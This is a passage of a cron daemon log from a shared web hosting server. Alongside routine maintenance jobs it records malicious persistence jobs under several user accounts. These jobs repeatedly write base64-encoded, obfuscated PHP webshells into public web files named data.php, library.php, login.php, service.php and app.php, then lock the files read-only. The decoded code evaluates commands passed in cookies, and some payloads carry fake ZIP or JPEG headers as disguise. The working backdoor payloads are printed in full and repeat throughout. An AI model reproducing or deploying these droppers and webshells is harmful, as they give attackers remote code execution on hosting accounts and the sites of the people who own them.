k7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:20:02 medusa CROND[14483]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:20:02 medusa CROND[14480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:20:02 medusa CROND[14477]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:20:02 medusa CROND[14486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14490]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14484]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:20:02 medusa CROND[14496]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:20:02 medusa CROND[14485]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:21:01 medusa CROND[16117]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:21:02 medusa CROND[16158]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:21:02 medusa CROND[16159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:21:02 medusa CROND[16161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:21:02 medusa CROND[16160]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:21:02 medusa CROND[16162]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:21:02 medusa CROND[16163]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:21:02 medusa CROND[16164]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:21:02 medusa CROND[16165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:21:02 medusa CROND[16167]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:21:02 medusa CROND[16168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:21:02 medusa CROND[16169]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:21:02 medusa CROND[16170]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:21:02 medusa CROND[16172]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:22:02 medusa CROND[17911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:22:02 medusa CROND[17912]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:22:02 medusa CROND[17913]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:22:02 medusa CROND[17914]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:22:02 medusa CROND[17916]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:22:02 medusa CROND[17919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpI